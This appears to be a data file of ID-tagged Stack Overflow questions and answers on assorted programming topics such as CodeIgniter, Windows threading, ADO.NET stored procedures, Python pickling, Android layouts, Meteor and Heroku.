4366388	0	Persisting the table name in codeigniter models <p>In my models I'm setting them up using constructors like the following</p> <pre><code>function Areas() { parent::Model(); $this-&gt;db-&gt;from("areas"); } </code></pre> <p>However, if a method of my model queries the database several times it looks like the FROM clause is only included in the first query. Is there an easy way to persist the FROM for all queries run within my model (unless I manually override it)?</p>
8894192	0	 <p>Please <a href="http://www.jetbrains.com/ruby/webhelp/ruby-gems-support.html" rel="nofollow">refer to help</a>. You need Gemfile with the used gems listed in it for RubyMine to recognize the dependencies.</p>
16649375	0	 <p>Figured it out, think I have been multiplying by 1000 when I shouldn't have, the following works</p> <pre><code>var offset = (int)Math.Floor(buffer.WaveFormat.SampleRate * barDuration / 128) * 128 * bar; </code></pre>
12937848	0	 <p>Well you said without redirecting. Well its a javascript code:</p> <pre><code>&lt;a href="JavaScript:void(0);" onclick="function()"&gt;Whatever!&lt;/a&gt; &lt;script type="text/javascript"&gt; function confirm_delete() { var delete_confirmed=confirm("Are you sure you want to delete this file?"); if (delete_confirmed==true) { // the php code :) can't expose mine ^_^ } else { // this one returns the user if he/she clicks no :) document.location.href = 'whatever.php'; } } &lt;/script&gt; </code></pre> <p>give it a try :) hope you like it</p>
13877208	0	How to go about multithreading with "priority"? <p>I have multiple threads processing multiple files in the background, while the program is idle.<br> To improve disk throughput, I use critical sections to ensure that no two threads ever use the same <em>disk</em> simultaneously.</p> <p>The (pseudo-)code looks something like this:</p> <pre><code>void RunThread(HANDLE fileHandle) { // Acquire CRITICAL_SECTION for disk CritSecLock diskLock(GetDiskLock(fileHandle)); for (...) { // Do some processing on file } } </code></pre> <p>Once the user requests a file to be processed, I need to <em>stop all threads</em> -- <em>except</em> the one which is processing the requested file. Once the file is processed, then I'd like to resume all the threads again.</p> <p>Given the fact that <code>SuspendThread</code> is a bad idea, how do I go about stopping all threads except the one that is processing the relevant input?</p> <p>What kind of threading objects/features would I need -- mutexes, semaphores, events, or something else? And how would I use them? (I'm hoping for compatibility with Windows XP.)</p>
9002367	0	 <p><code>AttachDbFilename</code> is used with local database. If you have remote database then the connection string will <a href="http://www.connectionstrings.com/sql-server-2008" rel="nofollow">be different</a>. Have a look at article - <a href="http://support.microsoft.com/kb/914277" rel="nofollow">How to configure SQL Server 2005 to allow remote connections.</a></p>
11283881	0	Backbone.js: Best way to handle multiple nullable filter parameters <p>have the following function on my <strong>collection</strong>:</p> <pre><code>getFiltered: function (status, city) { return this.filter(function (trainer) { return ((status === null) ? trainer : trainer.get("TrainerStatusName") === status) &amp;&amp; ((city === null) ? trainer : trainer.get('City') === city); }); } </code></pre> <p>What is is best way to deal with nullable params passed in i.e. if city it null then ignore filter/fetch all and if status is null then ignore filter/fetch all</p> <p>The code above works, but curious about alternatives</p>
11146431	0	 <p>The null in most programming languages is considered "known", while NULL in SQL is considered "unknown".</p> <ul> <li>So <code>X == null</code> compares X with a known value and the result is known (true or false).</li> <li>But <code>X = NULL</code> compares X with an unknown value and the result is unknown (i.e. NULL, again). As a consequence, we need a special operator <code>IS [NOT] NULL</code> to test for it.</li> </ul> <p>I'm guessing at least part of the motivation for such NULLs would be the behavior of foreign keys. When a child endpoint of a foreign key is NULL, it shouldn't match any parent, even if the parent is NULL (which is possible if parent is UNIQUE instead of primary key). Unfortunately, this brings many more <a href="http://thoughts.j-davis.com/2009/08/02/what-is-the-deal-with-nulls/">gotchas</a> than it solves and I personally think SQL should have gone the route of the "known" null and avoided this monkey business altogether.</p> <p>Even E. F. Codd, inventor or relational model, later indicated that the traditional NULL is not optimal. But for historical reasons, we are pretty much stuck with it.</p>
16467473	0	 <p>Yes, use the <a href="https://github.com/caolan/async#control-flow" rel="nofollow">async</a> library. It's awesome for doing this sort of thing.</p> <p>If you need to do one map and then pass the results to the next function then you need to look at <a href="https://github.com/caolan/async#waterfall" rel="nofollow">async.waterfall</a>.</p>
12872568	0	 <p>For a perfect effect you will need to do 2 things. Assuming you used Image class to render it, first, is to put the same image bellowthe original one and use the scaleY to flip it vertically.</p> <p>this will create reflection effect, but you will need to apply same things that you applied to first image to the second one, like movement, rotation, whatever you did to it.</p> <p>Besides that you will probably need your reflection image to fade out like a gradient, if you are doing everything on a solid not moving background, you can create a third image which is a gradient png from transparent to the color of your background, and put it over the reflection image. If you have a dynamic background, then you will probably need to use shaders (sorry, openGL 2 only). You can read more on how to write custom shaders here: <a href="http://blog.josack.com/2011/08/my-first-2d-pixel-shaders-part-3.html" rel="nofollow">http://blog.josack.com/2011/08/my-first-2d-pixel-shaders-part-3.html</a> (A great tutorial)]</p> <p>Hope that helps. There might be other solution I don't know about, so keep researching, but this is what came to my mind.</p>
20277336	0	How to check a folder exists in DropBox using DropNet <p>I'm programming an app that interact with dropbox by use DropNet API. I want to check if the folder is exist or not on dropbox in order to I will create one and upload file on it after that. Everything seen fine but if my folder is exist it throw exception. Like this:</p> <pre><code>if (isAccessToken) { byte[] bytes = File.ReadAllBytes(fileName); try { string dropboxFolder = "/Public/DropboxManagement/Logs" + folder; // I want to check if the dropboxFolder is exist here _client.CreateFolder(dropboxFolder); var upload = _client.UploadFile(dropboxFolder, fileName, bytes); } catch (DropNet.Exceptions.DropboxException ex) { MessageBox.Show(ex.Response.Content); } } </code></pre>
35174852	0	How to get rows and count of rows simultaneously <p>I have a stored procedure that returns <code>rows</code> and <code>count</code> simultaneously.</p> <p>I tried following <code>ADO.net</code> code but I get <code>IndexOutOfRange</code> Exception on ItemCount(ItemCount contains <code>count</code> of rows)</p> <pre><code> public List&lt;Product&gt; GetProductDetails(Product p) { List&lt;Product&gt; products = new List&lt;Product&gt;(); using (SqlConnection con = new SqlConnection(_connectionString)) { SqlCommand cmd = new SqlCommand("[usp_Get_ServerPagedProducts]", con); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue("@rvcName", System.Data.SqlDbType.VarChar).Value = p.Name; cmd.Parameters.AddWithValue("@rvcCode", System.Data.SqlDbType.VarChar).Value = p.Code; cmd.Parameters.AddWithValue("@riProductTypeID", System.Data.SqlDbType.Int).Value = p.ProductTypeID; cmd.Parameters.AddWithValue("@ristartIndex", System.Data.SqlDbType.Int).Value = p.RowIndex; cmd.Parameters.AddWithValue("@rimaxRows", System.Data.SqlDbType.Int).Value = p.PageSize; con.Open(); using (SqlDataReader reader = cmd.ExecuteReader()) { while (reader.Read()) { Product product = new Product(reader["Name"].ToString(), reader["Code"].ToString(), reader["Description"].ToString(), (DateTime)reader["DateCreated"], Convert.ToInt32(reader["ProductID"]), Convert.ToInt32(reader["ProductTypeID"]), reader["ProductTypeName"].ToString(), Convert.ToInt32(reader["ItemCount"])); products.Add(product); } } } return products; } </code></pre> <p>The Stored Procedure:</p> <pre><code>SELECT ProductID, Name, [Description], Code, DateCreated, ProductTypeID, ProductTypeName FROM ( SELECT P.pkProductID AS ProductID, P.Name AS Name, P.[Description] AS [Description], P.Code AS Code, P.DateCreated AS DateCreated, P.fkProductTypeID AS ProductTypeID, PT.Name AS ProductTypeName, ROW_NUMBER() OVER (ORDER BY P.pkProductID) AS RowNumber FROM Product P INNER JOIN ProductType PT ON PT.pkProductTypeID = P.fkProductTypeID WHERE P.Name LIKE '%' + @rvcName + '%' AND P.Code LIKE '%' + @rvcCode + '%' AND (@riProductTypeID = 0 OR P.fkProductTypeID = @riProductTypeID) ) AS tblProduct WHERE RowNumber &gt;= @ristartIndex AND RowNumber &lt; (@ristartIndex + @rimaxRows) SELECT COUNT(*) AS ItemCount FROM ( SELECT P.pkProductID, P.Name, P.[Description], P.Code, P.DateCreated, P.fkProductTypeID AS 'ProductTypeID', PT.Name AS 'ProductTypeName', ROW_NUMBER() OVER (ORDER BY P.Name DESC) AS RowNumber FROM Product P INNER JOIN ProductType PT ON PT.pkProductTypeID = P.fkProductTypeID WHERE P.Name LIKE '%' + @rvcName + '%' AND P.Code LIKE '%' + @rvcCode + '%' AND (@riProductTypeID = 0 OR P.fkProductTypeID = @riProductTypeID) ) AS TotalCount </code></pre> <p>Is it because its returning two tables? What's the solution?</p>
6492838	0	Generate two object files from the same source file in scons <p>Does scons allow to rename the result of Object('foo.cpp') along the lines of</p> <pre><code> o1 = env1.Object('src/foo.cpp', targetname='bar.o') o2 = env2.Object('src/foo.cpp', targetname='ney.o') </code></pre> <p>so that I can create two different object files from the same source file but different environments?</p>
6969989	0	What does {x:1} do in Javascript? <p>From Javascript: The Definitive Guide,</p> <pre><code>var o = { x:1 }; // Start with an object o.x = 2; // Mutate it by changing the value of a property o.y = 3; // Mutate it again by adding a new property </code></pre> <p>What does { x: 1} do here? With the braces, it reminds me of function (or for objects, constructor). Can someone please elaborate on it, thanks.</p> <p>An additional related question is:</p> <pre><code>({x:1, y:2}).toString() // =&gt; "[object Object]" </code></pre> <hr> <p>I find this question interesting as well. What is the difference between object and Object in the above code? In fact, when do we use Object? </p>
264881	0	Can there ever be a "silver bullet" for software development? <p>I recently read the great article by Fred Brooks, "No Silver Bullet".</p> <p>He argues that there hasn't been a silver bullet that made software devlopment remarkably easier and that there never will be one.</p> <p>His argument is very convincing and I certainly agree with it.</p> <p>What is the stack overflow community's take on it? Is it possible for a silver bullet to one day come along and slay the software development werewolf?</p> <p>For more information on the article itself, see this article: <a href="http://en.wikipedia.org/wiki/No_Silver_Bullet" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/No_Silver_Bullet</a></p>
6838793	0	NSMutableArray initWithCapacity method description and memory management <p>It's about the instance method of NSMutableArray "initWithCapacity".</p> <p>From documentation, the Return Value is described as:</p> <blockquote> <pre><code>Return Value An array initialized with enough memory to hold numItems objects. The returned object might be different than the original receiver. </code></pre> </blockquote> <p>There seems to be a typo at "different than", my guess is it should be "different from". And also if the returned object is indeed different from the original, do we have to worry about releasing the memory associated with the original object ?</p> <p>Hope that somebody knowledgable on this can help ...</p> <p><a href="http://developer.apple.com/library/mac/#documentation/cocoa/reference/foundation/Classes/NSMutableArray_Class/Reference/Reference.html#//apple_ref/occ/cl/NSMutableArray" rel="nofollow">http://developer.apple.com/library/mac/#documentation/cocoa/reference/foundation/Classes/NSMutableArray_Class/Reference/Reference.html#//apple_ref/occ/cl/NSMutableArray</a></p>
6129079	0	 <p>If you include a <code>\</code> at the start of your line, asp recognizes the whitespace.</p> <pre><code>&lt;%@ Language=JavaScript %&gt; &lt;% var s = "\ \ a"; Response.Write(s.length); %&gt; </code></pre> <p>I wasn't familiar with using the <code>\</code> character to create multiline strings. Neat stuff, but I couldn't find documentation for that. I guess it's just escaping the line break? Do you have a link to a reference?</p> <p><strong>Edit</strong> Additionally, this code:</p> <pre><code>&lt;pre&gt; &lt;% var s = "\ unescaped"; Response.Write(s); Response.Write("\n"); s = "\ \ escaped"; Response.Write(s); %&gt; &lt;/pre&gt; </code></pre> <p>Gives this output:</p> <pre><code>unescaped escaped </code></pre>
13405732	0	 <p>In addition to @MartinPieters answer the other way of doing this is to define the <code>find_global</code> method of the <code>cPickle.Unpickler</code> class, or extend the <code>pickle.Unpickler</code> class.</p> <pre><code>def map_path(mod_name, kls_name): if mod_name.startswith('packageA'): # catch all old module names mod = __import__('WrapperPackage.%s'%mod_name, fromlist=[mod_name]) return getattr(mod, kls_name) else: mod = __import__(mod_name) return getattr(mod, kls_name) import cPickle as pickle with open('dump.pickle','r') as fh: unpickler = pickle.Unpickler(fh) unpickler.find_global = map_path obj = unpickler.load() # object will now contain the new class path reference with open('dump-new.pickle','w') as fh: pickle.dump(obj, fh) # ClassA will now have a new path in 'dump-new' </code></pre> <p>A more detailed explanation of the process for both <code>pickle</code> and <code>cPickle</code> can be found <a href="http://nadiana.com/python-pickle-insecure" rel="nofollow">here</a>.</p>
15329949	0	 <p>I had same problem and solve it by change in <code>AndroidManifest.xml</code>. You have to set theme of particular Activity or complete application to <code>Theme.Sherlock.Light</code> (I think you can specify only <code>Theme.Sherlock</code>).</p> <p>In code it will be:</p> <pre><code>&lt;application ... android:theme="@style/Theme.Sherlock.Light"&gt; </code></pre> <p>or</p> <pre><code>&lt;activity ... android:theme="@style/Theme.Sherlock.Light"&gt; </code></pre>
21991603	0	 <p>Because they depend on how the route table is configured in each individual router or device it pass through from source to target locations.</p> <p>Given this network:</p> <pre><code>A - B - C | / D </code></pre> <p>A message can go from A to D by traveling through B (<code>A-B-D</code>) But maybe D is configured to every outgoing packets be routed through C so the return path can be (<code>D-C-B-A</code>).</p> <p>Probably not the best example but I think it makes a point. <em>Every</em> router is in charge of building and maintain their local <code>route tables</code> so this kind of situations can happen. You can find more information on <a href="http://en.wikipedia.org/wiki/Routing_table" rel="nofollow">Wikipedia page for Routing Tables</a>.</p> <p>Hope this helps!</p>
26134796	1	Python will not understand List <p>Sorry I have a very basic python question. In the following program I'm trying to duplicate a list and then sort it in ascending order. The code I've written is:</p> <pre><code>def lesser_than(thelist): duplicate = thelist[:] duplicate = duplicate.sort() return duplicate </code></pre> <p>The error it gives me is that it cannot sort something of the type None. Does anyone know why this is happening?</p>
39311893	0	Unable to attach matlab.exe process to visual studio 2013 for debugging mex files? <p>I am writing some mex files to run in my matlab program using visual studio 2013 compiler.<br> In order to be able to debug your mex files, you should follow <a href="http://www.mathworks.com/help/matlab/matlab_external/debugging-on-microsoft-windows-platforms.html" rel="nofollow noreferrer">these steps</a><br> Everything was right just some minutes ago and I was doing my project without any problem.<br> Today I have typed the code </p> <pre><code>mex -g mx_minimum_power.cpp cvm_em64t_debug.lib </code></pre> <p>on command prompt many times and after getting the success message, I've attached matlab.exe to visual studio and through setting a break point, I've debugged my code.<br> But this time I suddenly ran into the following error and I don't know how to solve it.<br> <a href="https://i.stack.imgur.com/djKSM.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/djKSM.jpg" alt="enter image description here"></a> </p> <p><a href="https://i.stack.imgur.com/Ogjvx.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Ogjvx.jpg" alt="enter image description here"></a> </p> <p>When I right-clicked on the third option and clicked <code>run as administrator</code>, I encountered the following message:<br> <a href="https://i.stack.imgur.com/lKCCx.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lKCCx.jpg" alt="enter image description here"></a> </p> <p>Then if I choose <code>configure remote debugging</code>, I'll encounter:<br> <a href="https://i.stack.imgur.com/aF7AH.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/aF7AH.jpg" alt="enter image description here"></a> </p> <p>Now I have the following processes that are shown to be running. </p> <p><a href="https://i.stack.imgur.com/rBfnQ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rBfnQ.jpg" alt="enter image description here"></a> </p> <p>and again:<br> <a href="https://i.stack.imgur.com/4Npeh.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4Npeh.jpg" alt="enter image description here"></a> </p> <p>When I click on permissions or options for remote debugger: </p> <p><a href="https://i.stack.imgur.com/jsZm8.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jsZm8.jpg" alt="enter image description here"></a></p>
11084022	0	 <p>Looking at your <a href="https://www.google.com/fusiontables/DataSource?dsrcid=4310315" rel="nofollow">table</a>, the column name is "ROLLING AREA".</p> <p>Try: <a href="http://www.geocodezip.com/v3_FusionTablesLayer_linktoA.html?lat=55.134627&amp;lng=-7.702476&amp;zoom=9&amp;type=m&amp;tableid=4310315&amp;tablequery=select%20geometry%20from%204310315%20where%20%22%27ROLLING%20AREA%27%20%3C%20400%22" rel="nofollow">"'ROLLING AREA' &lt; 400"</a></p>
15885528	0	 <p>This is an old question, so I'm not going to go on and on, but, look into /proc/pid/oom_adj and /proc/pid/oom_score</p>
28480261	0	Extract IPs before string <p>I have this text:</p> <pre><code>111.11.1.111(*)222.22.2.221(mgn)333.33.3.333(srv) 111.11.1.111(*)333.33.3.333(srv)222.22.2.222(mgn) 222.22.2.223(mgn)111.11.1.111(*)333.33.3.333(srv) </code></pre> <p>I only want to know the IP's before (mgn), output:</p> <pre><code>222.22.2.221 222.22.2.222 222.22.2.223 </code></pre> <p>thanks</p>
37002578	1	Python read file into list - edit <ul> <li><p>edit - It seems that I have made an error with the calculation of number of parts tested:</p> <p><code>lines = len(file.readlines())</code> <code>N = lines - 2</code></p></li> </ul> <p>It did work when i tested it in a separate script though...</p> <p>Beginner here in need of help. I have a problem with my python script which I haven't been able to work out by myself. The script is supposed to read floating point from a text file and do some calculations. I can't get the numbers into the list <code>R[]</code>.</p> <p>Below is a sample of the text file where the first line (<code>s[0]</code>) is the nominal value, line two (<code>s[1]</code>) is the tolerance and the following lines are some resistors.</p> <hr> <p>3300.0</p> <p>10.0</p> <p>3132.0</p> <p>3348.5</p> <p>3557.3</p> <p>3467.4</p> <p>3212.0</p> <p>3084.6</p> <p>3324.0</p> <p>I have the following code:</p> <pre><code>R = [] Ntoolow = Nlow = Nhigh = Ntoohigh = 0.0 lines = 0 def find_mean(q): tot = 0.0 c = len(q) for x in range (c): tot += q[x] return tot/c def find_median(q): c = len(q) if c%2: return float(q[int(c/2)]) else: c /= 2 return (q[int(c)]+q[int(c-1)])/2.0 file_name = input("Please enter the file name: ") file = open(file_name, "r") s = file.readlines() Rnom = float(s[0]) Tol = float(s[1]) keepgoing = True while keepgoing: s = file.readline() if s == "": keepgoing = False else: R.append(float(s)) lines = len(file.readlines()) N = lines - 2 R.sort() Rmin = R[0] Rmax = R[N-1] Rlowerlimit = Rnom - Tol Rupperlimit = Rnom + Tol for rn in R: if rn &lt; Rlowerlimit: Ntoolow += 1 elif rn &lt; Rnom: Nlow += 1 elif rn &lt;= Rupperlimit: Nhigh += 1 else: Ntoohigh += 1 Ptoolow = 100.0 * Ntoolow / N Plow = 100.0 * Nlow / N Phigh = 100.0 * Nhigh / N Ptoohigh = 100.0 * Ntoohigh / N Rmean = find_mean(R) Rmedian = find_median(R) print("Total number of parts tested: " + str(N)) print("The largest resistor is: " + str(Rmax) + " and the smallest is: " + str(Rmin)) print("The mean is: " + str(Rmean) + " and the median is: " + str(Rmedian)) print("The percentage of resistors that have too low tolerance is: " + str(Ptoolow) + "%") print("The percentage of resistors that have low tolerance is: " + str(Plow) + "%") print("The percentage of resistors that have high tolerance is: " + str(Phigh) + "%") print("The percentage of resistors that have too high tolerance is: " + str(Ptoohigh) + "%") file.close() </code></pre>
3388666	0	 <p>They are probably using three20's <code>TTLauncherView</code> control or they might of made their own version of it</p> <p>More info: <a href="http://three20.info/overview" rel="nofollow noreferrer">http://three20.info/overview</a></p>
1379981	0	 <p>I think because XOR is reversible. If you want to create hash, then you'll want to avoid XOR.</p>
20961224	0	 <p>Check out Open Graph- Twitter &amp; Facebook both use this architecture to retrieve "stories" posted by users. It's a version of the semantic web idea. <a href="https://developers.facebook.com/docs/opengraph/" rel="nofollow">https://developers.facebook.com/docs/opengraph/</a> The days of SQL calls are over (thank god). FQL- the Facebook Query Language still works, but is largely being deprecated. It's not SQL but a version of a query language against the graph (was databases).</p>
39079482	0	NestedScrollView inside CoordinatorLayout don't have smooth scroll <p>I have some trouble trying to do a Smooth scrolling using a NestedScrollView inside a CoordinatorLayout. Now when I scroll It stops and don't have a smooth scroll, like when I scroll on a RecyclerView.</p> <p>Code:</p> <pre><code>&lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:layout_width="match_parent" android:layout_height="match_parent" xmlns:tools="http://schemas.android.com/tools" tools:ignore="MissingPrefix"&gt; &lt;include layout="@layout/tool_bar" /&gt; &lt;android.support.design.widget.CoordinatorLayout android:layout_below="@+id/toolbar" android:layout_above="@+id/eventDetailActivity_bottomRelativeLayout" android:layout_width="match_parent" android:layout_height="match_parent" &gt; &lt;android.support.design.widget.AppBarLayout android:id="@+id/main.appbar" android:layout_width="match_parent" android:layout_height="wrap_content" android:theme="@style/ThemeOverlay.AppCompat.Dark.ActionBar" &gt; &lt;android.support.design.widget.CollapsingToolbarLayout android:id="@+id/eventDetailActivity_collapsingToolbarLayout" android:layout_width="match_parent" android:layout_height="wrap_content" app:layout_scrollFlags="scroll|exitUntilCollapsed" app:contentScrim="?attr/colorPrimary"&gt; &lt;RelativeLayout app:layout_collapseMode="parallax" android:layout_width="match_parent" android:layout_height="match_parent"&gt; &lt;ImageView android:id="@+id/eventDetailActivity_speakerPictureImageView" android:layout_width="match_parent" android:layout_height="250dp" android:scaleType="centerCrop" android:src="@drawable/bg_profile" /&gt; &lt;/RelativeLayout&gt; &lt;/android.support.design.widget.CollapsingToolbarLayout&gt; &lt;/android.support.design.widget.AppBarLayout&gt; &lt;android.support.v4.widget.NestedScrollView android:fillViewport="true" app:layout_behavior="@string/appbar_scrolling_view_behavior" android:id="@+id/eventDetailActivity_nestedScrollView" android:layout_width="match_parent" android:layout_height="match_parent" android:fitsSystemWindows="true" android:layout_gravity="fill_vertical"&gt; &lt;LinearLayout android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"&gt; &lt;RelativeLayout android:paddingBottom="7dp" android:paddingTop="7dp" android:id="@+id/eventDetailActivity_speakerInfoRl" android:gravity="center" android:layout_width="match_parent" android:layout_height="wrap_content" android:background="@color/orange"&gt; &lt;TextView android:height="21dp" android:id="@+id/eventDetailActivity_speakerLocationTextView" android:layout_marginLeft="20dp" android:textColor="@color/violet" tools:text="Londres, Reino Unido" android:textSize="12sp" fontPath="fonts/Roboto-Medium.ttf" android:layout_width="wrap_content" android:layout_height="wrap_content" android:gravity="center" android:layout_alignParentStart="true" android:layout_alignParentLeft="true" /&gt; &lt;TextView android:height="21dp" android:id="@+id/eventDetailActivity_speakerEmailTextView" android:layout_marginRight="20dp" android:textColor="@color/violet" tools:text="Londres, Reino Unido" android:textSize="12sp" fontPath="fonts/Roboto-Medium.ttf" android:layout_width="wrap_content" android:layout_height="wrap_content" android:gravity="center" android:layout_alignParentEnd="true" android:layout_alignParentRight="true" /&gt; &lt;/RelativeLayout&gt; &lt;TextView android:id="@+id/eventDetailActivity_speakerDescriptionTextView" android:layout_marginLeft="20dp" android:layout_marginRight="20dp" android:layout_marginBottom="20dp" android:layout_marginTop="20dp" android:textColor="@color/grayA" tools:text="Cuantos estilos de ilustración existen en el mundo? Nosotros conocemos 30, y te los queremos enseñar a todos en un workshop tan exagerado y tenaz..." android:textSize="14sp" android:lineSpacingExtra="@dimen/lines_spacing" fontPath="fonts/Roboto-Light.ttf" android:layout_width="wrap_content" android:layout_height="wrap_content" android:gravity="start"/&gt; &lt;ImageView android:layout_width="match_parent" android:layout_height="wrap_content" android:src="@drawable/plus_x3"/&gt; &lt;LinearLayout android:layout_marginTop="20dp" android:layout_marginLeft="20dp" android:layout_marginRight="20dp" android:layout_marginBottom="20dp" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="wrap_content"&gt; &lt;TextView android:id="@+id/eventDetailActivity_eventTitleTextView" android:textColor="@color/grayA" tools:text="Event Title" android:textSize="16sp" fontPath="fonts/Roboto-Bold.ttf" android:layout_width="wrap_content" android:layout_height="wrap_content"/&gt; &lt;TextView android:id="@+id/eventDetailActivity_eventDateTextView" android:layout_marginTop="15dp" android:textColor="@color/grayA" tools:text="Event Date" android:textSize="14sp" fontPath="fonts/Roboto-Light.ttf" android:layout_width="wrap_content" android:layout_height="wrap_content"/&gt; &lt;TextView android:id="@+id/eventDetailActivity_eventLocationTextView" android:layout_marginTop="10dp" android:textColor="@color/grayA" tools:text="Event Location" android:textSize="14sp" android:lineSpacingExtra="@dimen/lines_spacing" fontPath="fonts/Roboto-Light.ttf" android:layout_width="wrap_content" android:layout_height="wrap_content"/&gt; &lt;/LinearLayout&gt; &lt;/LinearLayout&gt; &lt;/android.support.v4.widget.NestedScrollView&gt; &lt;/android.support.design.widget.CoordinatorLayout&gt; &lt;include android:layout_below="@+id/toolbar" layout="@layout/tool_bar_dropshadow" android:layout_height="wrap_content" android:layout_width="match_parent"/&gt; &lt;RelativeLayout android:id="@+id/eventDetailActivity_bottomRelativeLayout" android:background="@color/violet" android:layout_alignParentBottom="true" android:layout_width="match_parent" android:layout_height="wrap_content"&gt; &lt;RelativeLayout android:id="@+id/eventDetailActivity_favoriteRelativeLayout" android:clickable="true" android:background="?attr/selectableItemBackground" android:layout_width="match_parent" android:layout_height="wrap_content"&gt; &lt;TextView android:id="@+id/eventDetailActivity_favoriteTextView" android:padding="16dp" android:layout_centerInParent="true" android:textColor="@color/orange" android:text="@string/eventDetailActivity_addToFavs" android:textSize="14sp" fontPath="fonts/Roboto-Medium.ttf" android:layout_width="wrap_content" android:layout_height="wrap_content" android:drawablePadding="11dp"/&gt; &lt;/RelativeLayout&gt; &lt;/RelativeLayout&gt; </code></pre> <p></p> <p>I tried putting the NestedScrollView on a Fragment but that doesn't worked.</p>
29934384	0	 <p>You have a spurious semicolon between the <code>for</code> loop and what you think is the body. Eliminate that and it should work as expected.</p> <pre><code>for(x = 0; x &lt; 3 ; x++); { ^ | eliminate this </code></pre> <p>What's happening now is that the <code>for</code> loop is looping three times and each time it is executing the empty statement formed by the semicolon. Then the block statement that you want executed three times is being executed once.</p>
26185915	0	 <p>Array hydration is not the best way for achieve this kind of situations. The same scenario here:</p> <pre><code>Person - id_person - name - child //self refering </code></pre> <p>Array hydration only select the first level. I resolving it taking one of these two options:</p> <ol> <li><p>Use <code>left join</code> association</p> <pre><code>$query = $entityManager-&gt;createQueryBuilder() -&gt;select('p1, p2, p3, p4, p5, p6') -&gt;from('Entity\Person', 'p1') -&gt;leftJoin('p1.child', 'p2') -&gt;leftJoin('p2.child', 'p3') -&gt;leftJoin('p3.child', 'p4') -&gt;leftJoin('p4.child', 'p5') -&gt;leftJoin('p5.child', 'p6') -&gt;createQuery(); </code></pre> <p>and then, use array hydration.</p></li> <li><p>Create your own recursive function in order to add manually each element in an array.</p></li> </ol>
40948013	0	meteor update method not working <p>this is my colletion:</p> <pre><code>{ "_id" : "Kan6btPXwNiF84j8e", "title" : "Chapter Title 1", "businessId" : "qmWJ3HtZrpka8dpbM", "createdBy" : "GfdPfoPTiSwLv8TBR", "sections" : [ { "id" : "T5KAfTcCb7pCudT3a", "type" : "TEXT", "data" : { "text" : "&lt;h1&gt;2&lt;/h1&gt;&lt;h1&gt;asd&lt;/h1&gt;" }, "createdAt" : ISODate("2016-12-03T10:35:59.023Z"), "updatedAt" : ISODate("2016-12-03T10:35:59.023Z") } ], "createdAt" : ISODate("2016-12-02T12:15:16.577Z"), "updatedAt" : ISODate("2016-12-03T12:54:50.591Z") } </code></pre> <p>this is the meteor method I am calling from client side</p> <pre><code>deleteSection: function (section_id, chapter_id) { chaptersCollection.update( {$and: [{_id: chapter_id}, {'sections.id': section_id}]}, {$pull: {'sections': {'id': section_id}}}, function (err, numAffected) { if (err) { console.log(err); return err; }else{ console.log(numAffected); } }); return 'Section Successfully Deleted'; } </code></pre> <p>in callback function of meteor method, it returns 1 as affected rows. But on server document is not updating.</p> <p>Any suggestion where am I wrong?</p>
19374950	0	Best tool to generate normal distribution graph in java or jquery <p>I want to generate <strong>normal distribution</strong> graph for a set of values as in the <a href="http://en.wikipedia.org/wiki/File%3aStandard_deviation_diagram.svg" rel="nofollow">link</a>,I have tried using <code>JFreeChart</code> but could not get the desired output <a href="http://stackoverflow.com/questions/19357905/how-to-give-a-different-color-for-each-sigma-section">problem</a>.so asking a new question,hope our stack users will give suggestions.</p> <p>Is there any way to generate the graph as it is in the link with <strong>java</strong> or <strong>jquery</strong> from the calculated mean and standard deviation?</p>
22118351	0	 <p>zmq_send and zmq_recv seems to handle zmq_msg_t structures rather than just the buffer.<p> Maybe you should try to create such structures rather than just sending your buffer ?<p> See the examples in <a href="http://api.zeromq.org/2-1:zmq-send" rel="nofollow">http://api.zeromq.org/2-1:zmq-send</a> and <a href="http://api.zeromq.org/2-1:zmq-recv" rel="nofollow">http://api.zeromq.org/2-1:zmq-recv</a></p>
37290885	1	Can't view Heroku logs - Cannot read property 'run' of undefined <p>I am attempting to deploy a python3 app to heroku. The app has some kind of error and isn't rendering (I see the generic error message in the browser) so I'm trying to troubleshoot via Heroku logs, but I get this error instead of the log output.</p> <pre><code>C:\Users\Kate\AppData\Local\heroku\tmp\heroku-script-182282411:14 cmd.run(ctx) ^ TypeError: Cannot read property 'run' of undefined at Object.&lt;anonymous&gt; (C:\Users\Kate\AppData\Local\heroku\tmp\heroku-script- 182282411:14:4) at Module._compile (module.js:541:32) at Object.Module._extensions..js (module.js:550:10) at Module.load (module.js:456:32) at tryModuleLoad (module.js:415:12) at Function.Module._load (module.js:407:3) at Function.Module.runMain (module.js:575:10) at startup (node.js:160:18) at node.js:445:3 </code></pre> <p>This is on Windows 7 x86, I tried in both windows command prompt and Git Bash and got the same result. I installed the latest Heroku toolbelt with no change. Any thoughts on what to try next?</p>
13753208	0	 <p>The answer to your question is that Objective-C does not have a direct equivalent of annotations as found in Java/C#, and though as some have suggested you might be able to engineer something along the same lines it probably is either far too much work or won't pass muster.</p> <p>To address your particular need see <a href="http://stackoverflow.com/questions/5197446/nsmutablearray-force-the-array-to-hold-specific-object-type-only/5198040#5198040">this answer</a> which shows how to construct an array which holds objects of only one type; enforcement is dynamic and not static as with parametric types/generics, but that is what you'd be getting with your annotation so it probably matches your particular need in this case. HTH.</p>
14746477	0	 <p>use <code>overflow:auto</code> property of css instead of <code>scroll</code>, and give some <code>height</code> for your list.</p>
23044032	0	 <p>Write this lines of code in oncreate() </p> <pre><code> Intent cameraIntent = new Intent(android.provider.MediaStore.ACTION_IMAGE_CAPTURE); startActivityForResult(cameraIntent, CAMERA_PIC_REQUEST); </code></pre>
